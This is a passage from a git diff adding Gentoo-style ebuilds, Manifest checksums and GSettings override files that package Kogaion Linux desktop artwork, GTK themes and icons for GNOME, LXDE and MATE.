+	x11-themes/faenza-kupertino-icons
+	!x11-themes/sabayon-artwork-gnome"
+
+S="${WORKDIR}/"
+
+src_install() {
+#	dodir /usr/share/themes
+
+	# GNOME & GTK Theme
+#	cd "${S}"/gtk
+#	dodir /usr/share/themes
+#	insinto /usr/share/themes
+#	doins -r ./*
+
+	# Metacity
+#	cd "${S}"/metacity
+#	insinto /usr/share/themes
+#	doins -r ./*
+
+	# GNOME 3 config settings
+	dodir /usr/share/glib-2.0/schemas
+	insinto /usr/share/glib-2.0/schemas
+	doins "${FILESDIR}/org.kogaion.gschema.override"
+
+	# GDM 3.6+ logo stuff
+	cd "${S}/gdm"
+	dodir /usr/share/kogaion/gdm
+	insinto /usr/share/kogaion/gdm
+	doins logo.svg
+	insinto /usr/share/glib-2.0/schemas
+	doins org.gnome.login-screen.gschema.override
+}
+
+pkg_preinst() {
+	# taken from gnome2_schemas_savelist
+	has ${EAPI:-0} 0 1 2 && ! use prefix && ED="${D}"
+	pushd "${ED}" &>/dev/null
+	export GNOME2_ECLASS_GLIB_SCHEMAS="/usr/share/glib-2.0/schemas/org.kogaion.gschema.override"
+	popd &>/dev/null
+}
+
+pkg_postinst() {
+	gnome2_schemas_update
+}
+
+pkg_postrm() {
+	gnome2_schemas_update --uninstall
+}
diff --git a/x11-themes/kogaion-artwork-lxde/Manifest b/x11-themes/kogaion-artwork-lxde/Manifest
new file mode 100644
index 00000000..78429ea9
--- /dev/null
+++ b/x11-themes/kogaion-artwork-lxde/Manifest
@@ -0,0 +1,5 @@
+DIST kogaion-artwork-lxde-1.1.tar.gz 515093 SHA256 04bbc91be1d0ab747c35609d21fb7712473ef63eef5f1317da0ae0cff4851ea2 SHA512 305924c2d64b7b61f1d9d68dca928ded5b1de392ac7e1079730230d7de784aac7ec1e9b146df77486fb82b42b1df851070cd85d384f4b5c72346aed3dc773f60 WHIRLPOOL 155656aaf52f79c0da8f6797ed656e6ae4be37e379fea027fdfe5e338a2c22681890ed7dc064cff8fd86fc11bca342fb57a950716d8f9371bb744dab2e453cf9
+DIST kogaion-artwork-lxde-1.tar.gz 686080 SHA256 fccccb40413f4cf4ee05dbea866b1a94d3ed9dfddeb514e0afa5f5ae829f66ee SHA512 cd28f63bebfc7e44afbf6fb55bac5bd3c69814ddcadf7b99627f7665199a16c4df1b248c806120b954e561d7e3d88a8ba52798f776a11e255bc1a4f34ecab3d8 WHIRLPOOL 09e61f7ad0c5e8dc1d312103202a96041726d6461c5ab8c3a0345c015217d655b769a6e7b6c0c9e771ef99a0b5d49fa323f02f98792594c4125f5831aad4631e
+EBUILD kogaion-artwork-lxde-1.1-r1.ebuild 1170 SHA256 65e1246de550b8aef84a111d140df260b273944b372f4272880f47ccdaf55ee5 SHA512 55d813a672f88fc725ca0728ad50fd0c83b1528511f896642936130f594684078c3ffa3fe1a3fee9bc6684ab3f0721adff8896845f82f320f56ceb852574a8f3 WHIRLPOOL 26feb1367ebdb0674b84d692d2e0705ed16032fcffaf70928a03c960721dc93c3fc396ce176d1758d58d5c7013883f0acf62e92829a40aa8fa567f7ebb680c55
+EBUILD kogaion-artwork-lxde-1.1.ebuild 1096 SHA256 5971f2c5ba5a9f3e9bd0bfc21af204a1568497d5590a8d6b60b729a9ea7dc103 SHA512 ef3afba7c5f510c02cff07645632e449ec44df01714f1c3ef35aa195c17072cb08b4f33e1d818d5c26b0038a065e7cffdf9214338d56cde5f7ee97a9f9c0cd02 WHIRLPOOL 729a37e89dc931ececf7ed62f515ad8078762ec8745aeb51a54d8e95181958c00fb6320f39b9d77b15ab990f3d2fd37a3a1f49d228016a1bb50e5d84d716ec96
+EBUILD kogaion-artwork-lxde-1.ebuild 1033 SHA256 df4ff9a1a6e093f731dd5d718a107479b86b05b5a076ffc7b821c1d780c6a40f SHA512 857347e3e0e558b56c942f7410c3fe836f3db22f87c0b4b5897921d86a39ac49ba426f6d6a32fe3644fbb4829e735c18d233dd48b8e8be3fc23042c171478636 WHIRLPOOL 6ef2f3cb96ffe1f6d38afb2e74f9c31c88c358e46d9c4b53c7f571d04704b1a083cd3b6451dd887d23db6791e254bf8164cf7421a2c78a27304b48c440554b7e
diff --git a/x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1-r1.ebuild b/x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1-r1.ebuild
new file mode 100644
index 00000000..7967a5f4
--- /dev/null
+++ b/x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1-r1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 2004-2011 Sabayon Promotion
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+#
+
+EAPI=3
+
+inherit base
+
+DESCRIPTION="Kogaion LXDE Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz repo temporary out of duty
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND="x11-themes/rogentos-artwork-core
+	!x11-themes/rogentos-artwork-lxde
+	!x11-themes/sabayon-artwork-lxde"
+
+S="${WORKDIR}/lxdm"
+
+src_install () {
+	cd "${S}" || die "Cannot cd into folder"
+	dodir /usr/share/lxdm/themes/Kogaion || die "Cannot dodir"
+	insinto /usr/share/lxdm/themes/Kogaion || die "Cannot insinto"
+	doins Kogaion/* || die "Cannot doins"
+
+	#No longer needed, fixed in sources
+        #dosym /usr/share/lxdm/themes/kogaion.png \
+        #        /usr/share/lxdm/themes/Kogaion/kgdm.png
+
+	dodir /etc/lxdm
+	insinto /etc/lxdm/ || die "Cannot insinto folder"
+	doins "${S}"/lxdm.conf || die "Could not copy lxdm.conf"
+}
diff --git a/x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1.ebuild b/x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1.ebuild
new file mode 100644
index 00000000..fdba6fb7
--- /dev/null
+++ b/x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.1.ebuild
@@ -0,0 +1,35 @@
+# Copyright 2004-2011 Sabayon Promotion
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+#
+
+EAPI=3
+
+inherit base
+
+DESCRIPTION="Kogaion LXDE Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+	#http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz repo temporary out of duty
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND="x11-themes/rogentos-artwork-core"
+
+S="${WORKDIR}/lxdm"
+
+src_install () {
+	cd "${S}" || die "Cannot cd into folder"
+	dodir /usr/share/lxdm/themes/Kogaion || die "Cannot dodir"
+	insinto /usr/share/lxdm/themes/Kogaion || die "Cannot insinto"
+	doins Kogaion/* || die "Cannot doins"
+
+	#No longer needed, fixed in sources
+        #dosym /usr/share/lxdm/themes/kogaion.png \
+        #        /usr/share/lxdm/themes/Kogaion/kgdm.png
+
+	insinto /etc/lxdm/ || die "Cannot insinto folder"
+	doins "${S}"/lxdm.conf /etc/lxdm/ || die "Could not copy lxdm.conf"
+}
diff --git a/x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.ebuild b/x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.ebuild
new file mode 100644
index 00000000..1e0c17a9
--- /dev/null
+++ b/x11-themes/kogaion-artwork-lxde/kogaion-artwork-lxde-1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 2004-2011 Sabayon Promotion
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+#
+
+EAPI=3
+
+inherit base
+
+DESCRIPTION="Kogaion LXDE Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+	http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND="x11-themes/kogaion-artwork-core"
+
+S="${WORKDIR}/lxdm"
+
+src_install () {
+	cd "${S}" || die "Cannot cd into folder"
+	dodir /usr/share/lxdm/themes/Kogaion || die "Cannot dodir"
+	insinto /usr/share/lxdm/themes/Kogaion || die "Cannot insinto"
+	doins Kogaion/* || die "Cannot doins"
+
+        dosym /usr/share/backgrounds/Kogaion-1.5.png \
+                /usr/share/lxdm/themes/Rogentos/kgdm.png
+
+	insinto /etc/lxdm/ || die "Cannot insinto folder"
+	doins "${S}"/lxdm.conf /etc/lxdm/ || die "Could not copy lxdm.conf"
+}
diff --git a/x11-themes/kogaion-artwork-mate/Manifest b/x11-themes/kogaion-artwork-mate/Manifest
new file mode 100644
index 00000000..35b9ba7b
--- /dev/null
+++ b/x11-themes/kogaion-artwork-mate/Manifest
@@ -0,0 +1,2 @@
+AUX org.mate.kogaion.gschema.override 429 SHA256 04a082fac43ae83245e9144ccc3b8e13e2e289a2b11f5b2fd9054c62bd0954b9 SHA512 6ced49342180d8c2b40e7ddf2a46a1471f10f0baeb624f9cc5ca65fd9f7e28eb27e2bc75a6e3f19b41a131749d49d6f8000f6f4a16fe5fb0b8ccac2abb723995 WHIRLPOOL 4b4286b1c4ddf4fe24c2fe07a2677e35cdfd270cb5ab17c27930d3439c04a1578f26337e440c18d4ab2534b386e34142a47570cf5d6aee95786ff42da54bafc0
+EBUILD kogaion-artwork-mate-1.0.ebuild 1067 SHA256 0731c011e2b666bf4614fd162e77ff3c524e30db5bb7d3b166f5d89fece81faf SHA512 b7d4659c22924817475c49adc54216569ebe3e68d58a4e2e0b59d83197abf4f44912ccd9a5dfc6be3be77634121530cb3c31915fe01c14e2e6e9f95eb293f92a WHIRLPOOL 480d9bcfcb47e10276a0a80b509881c9097342e0ab08955e9a1ce7bdbc0c331224d2968ffe3df7b04b18b6273ee6685e5b1608b7b271a4ae45fff015844f7bfb
diff --git a/x11-themes/kogaion-artwork-mate/files/org.mate.kogaion.gschema.override b/x11-themes/kogaion-artwork-mate/files/org.mate.kogaion.gschema.override
new file mode 100644
index 00000000..fcd9d2cc
--- /dev/null
+++ b/x11-themes/kogaion-artwork-mate/files/org.mate.kogaion.gschema.override
@@ -0,0 +1,16 @@
+[org.mate.caja.desktop]
+font='Bitstream Vera Sans 10'
+
+[org.mate.background]
+picture-filename='/usr/share/backgrounds/Kogaion_tri_flame_wide.png'
+picture-options='stretched'
+
+[org.mate.interface]
+document-font-name='Bitstream Vera Sans 10'
+font-name='Bitstream Vera Sans 10'
+gtk-theme='Kogaion-light'
+icon-theme='Faenza-Kupertino-Light'
+
+[org.mate.Marco.general]
+theme='Kogaion-light'
+titlebar-font='Bitstream Vera Sans Bold 10'
diff --git a/x11-themes/kogaion-artwork-mate/kogaion-artwork-mate-1.0.ebuild b/x11-themes/kogaion-artwork-mate/kogaion-artwork-mate-1.0.ebuild
new file mode 100644
index 00000000..4de30c0a
--- /dev/null
+++ b/x11-themes/kogaion-artwork-mate/kogaion-artwork-mate-1.0.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2012 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+# Header: $
+
+EAPI=4
+
+inherit gnome2-utils
+
+DESCRIPTION="Kogaion Linux Official MATE artwork"
+HOMEPAGE="http://www.rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/"${PN}"-${PVR}.tar.gz"
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND=">=x11-themes/rogentos-artwork-core-2
+	x11-themes/kogaion-light-theme
+	x11-themes/kogaion-dark-theme
+	x11-themes/faenza-kupertino-icons
+	!x11-themes/sabayon-artwork-mate"
+
+S="${WORKDIR}/"
+
+src_install() {
+	# Doing overrides. Because we can!
+	dodir /usr/share/glib-2.0/schemas
+	insinto /usr/share/glib-2.0/schemas
+	doins "${FILESDIR}/org.mate.kogaion.gschema.override"
+}
+
+pkg_preinst() {
+	# taken from gnome2_schemas_savelist
+	has ${EAPI:-0} 0 1 2 && ! use prefix && ED="${D}"
+	pushd "${ED}" &>/dev/null
+	export GNOME2_ECLASS_GLIB_SCHEMAS="/usr/share/glib-2.0/schemas/org.mate.kogaion.gschema.override"
+	popd &>/dev/null
+}
+
+pkg_postinst() {
+	gnome2_schemas_update
+}
+
+pkg_postrm() {
+	gnome2_schemas_update --uninstall
+}
diff --git a/x11-themes/kogaion-dark-theme/Manifest b/x11-themes/kogaion-dark-theme/Manifest
new file mode 100644
index 00000000..da48bde1
--- /dev/null
+++ b/x11-themes/kogaion-dark-theme/Manifest
@@ -0,0 +1,6 @@
+DIST kogaion-dark-theme-1.0.tar.gz 54276 SHA256 b2bca98000a6bb7ccdd7751f0c3355df200a49a7b870a409afbd0ce16b409c59 SHA512 15bdfb32e23cc45da0f50e6dc9648ab0575c26ada9b0ce499b8f09278779835a37371dcca9c61b2a38c657b4e6fb6983a78336b9a36f4bdf3f0fe0b783868fe5 WHIRLPOOL 78b8e5b84aa6d7d6cf26faad42eb3403d02e62f6fbc27c51f4e7558597c5f7fac425a5e8be462ddb25606234a05ea71feba77fc637e999922d87db0cb23adba6
+DIST kogaion-dark-theme-2.0.tar.gz 1433737 SHA256 de40afccf93a4df21c3b9f7d7921a373b1180bab5c04fb728e4b0add1b4a58a7 SHA512 6d7827f58f7b9dad1981f1152a69d70eb62b709ff9db3b70bbf5897612bf05f49e7902310b91b7d78caf9c00e173e27a3d3647e221c2a2dfb206f461db822830 WHIRLPOOL d79f4f68e729d7d88b6d00a4cc7df652f17e07e335040a577b1f50ddaa8cd5b79be6e13fc8ba70400dd928951c361c28466796890cbcb2a50df46032be7878c1
+DIST kogaion-dark-theme-2.1.tar.gz 1487154 SHA256 e272dab1e713798ffb4d75269b2f2f81f23aaf9fbb80fb680787e75b90e9a983 SHA512 de34cdc3826c3d542b3122ba2981821ba68dd1d1ffc4abdbddfe7610ad16ea9cca8bc4c5060f49a75957393db9b824675437f6fce2cc05552cacafc25982b64a WHIRLPOOL cb2234612e9d660fcf27c4018655e9d8616bb8b4eeb367723be74cd7d61b60fcd0832a580bc5a4b52571c5b5f992f3eae10ec839360f35540d1c1fd985085619
+EBUILD kogaion-dark-theme-1.0.ebuild 1614 SHA256 28a481c7862085f80a7815ac7a7102414a6e639808cdd00b0419c17fb0cea712 SHA512 06c7a2f1824f864789dc349f1b21fdd41c2fbe8db098479cd7b98016ca41cb0213fbed7f22cbd68e339e3ed30500681e9a6f331ab12dd2ff19a929ebc3ee4d72 WHIRLPOOL 8ef923543458532a531f26e1a71fed6b59ec0e1034e4dbcc04c3695a2d241b607bd007faf0b1090fb8062c4e1a2464916b7814806bce94805f1febacf90cfd7e
+EBUILD kogaion-dark-theme-2.0.ebuild 1693 SHA256 de93c3a9fe6288dcc5d48da289e8f54e609a1ac4d46dab42a71027244fb8554d SHA512 291919e1239bb6c28411b56beb26e28862785e7c7db8d24741d0492753791a09ad7d451d840c3dec39693a8752460d8df58d442f120fe024c43a9c3e54cf4d1a WHIRLPOOL f6fb9aae42ce5cc34d40b12cb79324fcb0732868246904c7ba7ec08c7d9bd518b8c6e53ef63733497fcc91c933c3c5d3dab3c6cbc76314b5d3a32975200f6d98
+EBUILD kogaion-dark-theme-2.1.ebuild 1717 SHA256 a680cb52e65ec6d656ffb43bcd00d5c9ee0da5dde8d170cebcc0f1641631483c SHA512 0477891d87f599e6d0d6681d447421e5981a6dd361b2e9962668826df6e2fe21d26b36b301083cdbb24df12caffc359bbafa0e13040c3a9c1de3639b5d4c7284 WHIRLPOOL bcbe0f3cfb094e4a9c72f88ff59ec5d9a007a3b1d1ab780685eccf9d1ecc369e933124f424b1559de9ff323da4a04bb9ee3cd5cc1942640507e688a07a707927
diff --git a/x11-themes/kogaion-dark-theme/kogaion-dark-theme-1.0.ebuild b/x11-themes/kogaion-dark-theme/kogaion-dark-theme-1.0.ebuild
new file mode 100644
index 00000000..1f55361b
--- /dev/null
+++ b/x11-themes/kogaion-dark-theme/kogaion-dark-theme-1.0.ebuild
@@ -0,0 +1,68 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Kogaion dark GTK/XFWM theme"
+HOMEPAGE="https://github.com/bionel/kogaion-src"
+SRC_URI="https://pk2.rogentos.ro/~rogentos/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+	http://pkg.rogentos.ro/~noxis/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE="gtk3 gtk2 gnome-shell unity cinnamon xfwm4"
+
+RDEPEND="gtk3? ( x11-themes/gtk-engines-unico )
+	x11-themes/gtk-engines-equinox
+	x11-themes/gtk-engines
+	x11-themes/kogaion-elementary-icons"
+DEPEND=""
+
+Z="Kogaion-dark"
+S="${WORKDIR}"/${Z}/
+THEME="/usr/share/themes"
+
+src_install() {
+	dodir ${THEME}/${Z} || die
+	insinto ${THEME}/${Z} || die
+	doins "${S}"/index.theme || die
+
+	if use gtk3; then
+		doins -r "${S}"/gtk-3.0 || die "Cannot copy gtk3"
+	else
+	ewarn "Gtk3 Files weren't copied"
+	fi
+
+	if use gtk2; then
+		doins -r "${S}"/gtk-2.0 || die "Cannot copy gtk2"
+		doins -r "${S}"/metacity-1 || die "Cannot copy metacity-1"
+	else
+	ewarn "Gtk2 Files were not copied"
+	fi
+
+	if use gnome-shell; then
+		doins -r "${S}"/gnome-shell || die "Cannot copy gnome-shell"
+	else
+	ewarn "Gnome-shell Files were not copied"
+	fi
+
+	if use cinnamon; then
+		doins -r "${S}"/cinnamon || die "Cannot copy cinnamon"
+	else
+	ewarn "Cinnamon Files were not copied"
+	fi
+
+	if use unity; then
+		doins -r "${S}"/unity || die "Cannot copy unity"
+	else
+	ewarn "Unity Files were not copied"
+	fi
+
+	if use xfwm4; then
+		doins -r "${S}"/xfwm4 || die "Cannot copy xfwm"
+	else
+	ewarn "Xfwm Files were not copied"
+        fi
+}
diff --git a/x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.0.ebuild b/x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.0.ebuild
new file mode 100644
index 00000000..064978d6
--- /dev/null
+++ b/x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.0.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Kogaion dark theme"
+HOMEPAGE="http://rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+	https://pk2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE="gtk3 gtk2 gnome-shell unity cinnamon xfwm4"
+
+RDEPEND="gtk3? ( x11-themes/gtk-engines-unico )
+	x11-themes/gtk-engines-equinox
+	x11-themes/gtk-engines-murrine
+	x11-themes/gtk-engines
+	x11-themes/faenza-kupertino-icons"
+DEPEND=""
+
+Z="Kogaion-dark"
+S="${WORKDIR}"/${Z}/
+THEME="/usr/share/themes"
+
+src_install() {
+	dodir ${THEME}/${Z} || die
+	insinto ${THEME}/${Z} || die
+	doins "${S}"/index.theme || die
+
+	if use gtk3; then
+		doins -r "${S}"/gtk-3.0 || die "Cannot copy gtk3"
+	else
+	ewarn "Gtk3 Files weren't copied"
+	fi
+
+	if use gtk2; then
+		doins -r "${S}"/gtk-2.0 || die "Cannot copy gtk2"
+		doins -r "${S}"/metacity-1 || die "Cannot copy metacity-1"
+	else
+	ewarn "Gtk2 Files were not copied"
+	fi
+
+	if use gnome-shell; then
+		doins -r "${S}"/gnome-shell || die "Cannot copy gnome-shell"
+		doins -r "${S}"/backgrounds || die "Cannot copy backgrounds"
+	else
+	ewarn "Gnome-shell Files were not copied"
+	fi
+
+	if use cinnamon; then
+		doins -r "${S}"/cinnamon || die "Cannot copy cinnamon"
+	else
+	ewarn "Cinnamon Files were not copied"
+	fi
+
+	if use unity; then
+		doins -r "${S}"/unity || die "Cannot copy unity"
+	else
+	ewarn "Unity Files were not copied"
+	fi
+
+	if use xfwm4; then
+		doins -r "${S}"/xfwm4 || die "Cannot copy xfwm"
+	else
+	ewarn "Xfwm Files were not copied"
+        fi
+}
diff --git a/x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.1.ebuild b/x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.1.ebuild
new file mode 100644
index 00000000..b2974c22
--- /dev/null
+++ b/x11-themes/kogaion-dark-theme/kogaion-dark-theme-2.1.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Kogaion dark theme"
+HOMEPAGE="http://rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+	#https://pk2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz :temporary out of duty
+
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE="gtk3 gtk2 gnome-shell unity cinnamon xfwm4"
+
+RDEPEND="gtk3? ( x11-themes/gtk-engines-unico )
+	x11-themes/gtk-engines-equinox
+	x11-themes/gtk-engines-murrine
+	x11-themes/gtk-engines
+	x11-themes/faenza-kupertino-icons"
+DEPEND=""
+
+Z="Kogaion-dark"
+S="${WORKDIR}"/${Z}/
+THEME="/usr/share/themes"
+
+src_install() {
+	dodir ${THEME}/${Z} || die
+	insinto ${THEME}/${Z} || die
+	doins "${S}"/index.theme || die
+
+	if use gtk3; then
+		doins -r "${S}"/gtk-3.0 || die "Cannot copy gtk3"
+	else
+	ewarn "Gtk3 Files weren't copied"
+	fi
+
+	if use gtk2; then
+		doins -r "${S}"/gtk-2.0 || die "Cannot copy gtk2"
+		doins -r "${S}"/metacity-1 || die "Cannot copy metacity-1"
+	else
+	ewarn "Gtk2 Files were not copied"
+	fi
+
+	if use gnome-shell; then
+		doins -r "${S}"/gnome-shell || die "Cannot copy gnome-shell"
+		doins -r "${S}"/backgrounds || die "Cannot copy backgrounds"
+	else
+	ewarn "Gnome-shell Files were not copied"
+	fi
+
+	if use cinnamon; then
+		doins -r "${S}"/cinnamon || die "Cannot copy cinnamon"
+	else
+	ewarn "Cinnamon Files were not copied"
+	fi
+
+	if use unity; then
+		doins -r "${S}"/unity || die "Cannot copy unity"
+	else
+	ewarn "Unity Files were not copied"
+	fi
+
+	if use xfwm4; then
+		doins -r "${S}"/xfwm4 || die "Cannot copy xfwm"
+	else
+	ewarn "Xfwm Files were not copied"
+        fi
+}
diff --git a/x11-themes/kogaion-elementary-icons/Manifest b/x11-themes/kogaion-elementary-icons/Manifest
new file mode 100644
index 00000000..1449c6dd
--- /dev/null
+++ b/x11-themes/kogaion-elementary-icons/Manifest
@@ -0,0 +1,2 @@
+DIST kogaion-elementary-icons-1.0.tar.gz 13559327 SHA256 9d3dc457a8c891c6e7982931d9b454ffcae47e75e27e63fd02076dd3c2c0863c SHA512 c7fa4545721b109bbc026421468d3d672336c1955353b2dcaa8efaa976f5eaf5653ffad8cd18b9340a2c55ff6476390a26771fbeb8a95543877a2defe9249dbe WHIRLPOOL 4d612164339f46eebef13945ec01d4e45f5081de47a8fa50fa00439b4620df5189f6b418977a48c7e3a42e3a23db9662e49bebdd9519cdcc6c3f44c90ab98ac5
+EBUILD kogaion-elementary-icons-1.0.ebuild 636 SHA256 caf837f90f9b9c4f5bde27710d376bb20ce25eee207ce15d60d6a3aea59dafd7 SHA512 d8e7655aa91dfcd903b3f1e8f49e996a66a4198910192fb8ddea99f197b4a36259369885ecb017d7a4b3654ce958e13f0d33c28f903b69a387d5b11b66e5db7e WHIRLPOOL 53274c8a5d44a4e9eb7f0298198e75800a9bd95377968ea7420e4aa020c4b185819c72c5034c5bc6d18d861eb7506711ad7494fbb4f02634687d6bc46fdc12e3
diff --git a/x11-themes/kogaion-elementary-icons/kogaion-elementary-icons-1.0.ebuild b/x11-themes/kogaion-elementary-icons/kogaion-elementary-icons-1.0.ebuild
new file mode 100644
index 00000000..6944477f
--- /dev/null
+++ b/x11-themes/kogaion-elementary-icons/kogaion-elementary-icons-1.0.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Kogaion elementary icons"
+HOMEPAGE="https://github.com/bionel/kogaion-src"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz
+	http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="~arm ~amd64 ~x86"
+IUSE=""
+
+RDEPEND=""
+
+DEPEND=""
+
+DEST="/usr/share/icons"
+S="${WORKDIR}"
+
+src_install() {
+	insinto ${DEST} || die
+	doins -r "${S}"/Kogaion-elementary || die
+	doins -r "${S}"/Kogaion-elementary-dark || die
+}
diff --git a/x11-themes/kogaion-light-theme/Manifest b/x11-themes/kogaion-light-theme/Manifest
new file mode 100644
index 00000000..4c227312
--- /dev/null
+++ b/x11-themes/kogaion-light-theme/Manifest
@@ -0,0 +1,6 @@
+DIST kogaion-light-theme-1.0.tar.gz 143360 SHA256 6f0ac523e5eab62b3a85dcdf66dde5ef34de856653c0044c752d78f13e6bc9bc SHA512 228407849776b31910f59449043588f0a58dff3f072d65bd306d6e51b48c3432a699149cfb097481e8401bfa3e95ff4a076ca277161c7730ddb886987ab31669 WHIRLPOOL b29c7cc323b98a65030e51b423a10738f6e312e2da48fae240e292a88f67be61db3f3e6ea855f01d67fc8ee03d1e107a6c70f0b218a312606b36f8acab5c1c09
+DIST kogaion-light-theme-2.0.tar.gz 1505735 SHA256 70b548a3b613047ad35cd90fdc112047da510a1a4812ed1fb1ae77f2af85b3ed SHA512 71c38497fb3cb227c9c006a354bc4771b55da187278374a6f038b04add0aa622e26967244c5179f5130e6ec4d77368104de068add194f5b1785bbf4b486ec65d WHIRLPOOL e45492ca1e4b2ba61dad48107a7219ba63f0bbe30903f08dc8b5f718203b61368af663927579a231454f123ccfba77ffd8168a4ab03458eef317d3a17be9af91
+DIST kogaion-light-theme-2.1.tar.gz 1558793 SHA256 c83bb48e18541928549c3c80d22ff0a6891836d9702480e5b829bd7eca53e28e SHA512 cdf76a5e99256af2432beb9a9281df5b879f1e5978be09e275d36c365f7e95f50898f0a039cd015ba24f6bebff55cd98cbb914bcc3dd49904b07e6bcaa302af5 WHIRLPOOL 09b254a62ec8502e37ea8360f913d42b73cf18a371a89ec7129ffd0ab1df6bb576204ed638ed3955eaaf7a2e52d89c582a07a281d73cc5da55a68ba95c4478d1
+EBUILD kogaion-light-theme-1.0.ebuild 1612 SHA256 dd5c85d79032693e0cb6add65232e1b8fd981e85b028f6c8bcda82c7c354f370 SHA512 806c3adf112a42e2705281dd655d64c4fb9d2fe00f7556e8db6b4f807058e0af8abe3b404977a98375f929135e9fc24eb97b7e7f1b751571135bb7ab3391657e WHIRLPOOL dee19111eeb426020c688a6772a555d09648b61f11fe132c4786515cbcd04fe52bb27051098e590308f892797d7bd4efb5b85337797a7305550eeb7c54bd625c
+EBUILD kogaion-light-theme-2.0.ebuild 1695 SHA256 63daf5cfd0dfb59eb240c61b016a87bb95bef3a3fad47a4b78d894f435e57c1e SHA512 d9ce1a383e27ad6f680025e987b55d71372e363729adc90daad9cd08ba72485136984f5171f2e7974636fe69a53e5e7ded56ce33c7424fa3f78ffc14d71e704d WHIRLPOOL c77f60f43d94903d0f81456d37a60f931380731c828c3536ac4872423a2b70bf56b9fece7939278d6aea947bd8dd4f0fc9e39467e1be891ac3be36333511aff6
+EBUILD kogaion-light-theme-2.1.ebuild 1720 SHA256 9763e4b04ef5995a24d3ce2b40d18c8c06e96e2ad41a0f72872e9f412f957a5a SHA512 c1064771cd3950059c93fd8e15b39af0575c5c09402eb29aff9a437e7537dc2386c67e49971fdbe42d698e61020f57f3bd0aad9662000f739cfd28958e1ee44b WHIRLPOOL 3662cd6dd226715a7a2ec1ae8a74887e067e26a9d5bf18513d4e5558a5b869f8532c06557b3e91154e4e360f522eef7685c1aa62a5b472d282327ece0dc7a36a
diff --git a/x11-themes/kogaion-light-theme/kogaion-light-theme-1.0.ebuild b/x11-themes/kogaion-light-theme/kogaion-light-theme-1.0.ebuild
new file mode 100644
index 00000000..3286b996
--- /dev/null
+++ b/x11-themes/kogaion-light-theme/kogaion-light-theme-1.0.ebuild
